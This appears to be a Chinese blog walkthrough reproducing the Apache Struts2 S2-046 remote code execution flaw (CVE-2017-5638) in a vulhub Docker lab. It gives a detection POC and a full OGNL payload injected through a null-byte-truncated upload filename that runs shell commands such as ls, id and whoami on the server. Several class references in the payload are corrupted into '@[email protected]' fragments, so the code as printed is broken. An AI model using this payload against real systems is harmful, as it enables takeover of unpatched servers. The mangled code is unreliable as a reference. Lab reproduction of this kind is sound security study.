一、S2-046 远程代码执行漏洞(CVE-2017-5638)
- 漏洞简介
Apache Struts2存在远程代码执行漏洞,攻击者可以将恶意代码放入http报文头部的Content-Disposition的filename字段,通 过不恰当的filename字段或者大小超过2G的Content-Length字段来触发异常,进而导致任意代码执行。
影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
二、利用vulhub靶机平台实现漏洞复现 (1-4的步骤配图,和s2-045类似,详情可参考以前发的s2-045博客)
1、service docker start //开启docker服务
2、cd /vulhub/struts2/ //进入Struts2目录下
ls //查看里面的漏洞环境,由于s2-046以前版本过低,现在基本上漏洞都已修复
cd s2-046 //进入s2-046漏洞环境
cat README.md //这里可以查看该漏洞的复现步骤
eog 1.png //查看图片,即burp的抓包。
3、docker-compose up -d //下载启动漏洞环境
4、环境启动后,访问`http://your-ip:8080`即可看到上传页面。
## 漏洞复现
与s2-045类似,但是输入点在文件上传的filename值位置,并需要使用`\x00`截断。
5、使用burp抓包,然后发送到repeater模块
更改filename后为
POC: "%{#context[\'com.opensymphony.xwork2.dispatcher.HttpServletResponse\'].addHeader(\'X-Test\',233*233)}\x00b"
在hex里找到b之前一个符号,使用00截断
截断后看图上所示,出现了空格
6、判断存在后,实行攻击语句payload,同样原理,将b前面一个字符00截断。
"%{(#nike=\'multipart/form-data\').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=\'ls\').(#iswin=(@[email protected](\'os.name\').toLowerCase().contains(\'win\'))).(#cmds=(#iswin?{\'cmd.exe\',\'/c\',#cmd}:{\'/bin/bash\',\'-c\',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())} b"
如图所示,标记处里可执行其他命令语句(与s2-045类似,必须有回显):如:id、whoami、ls、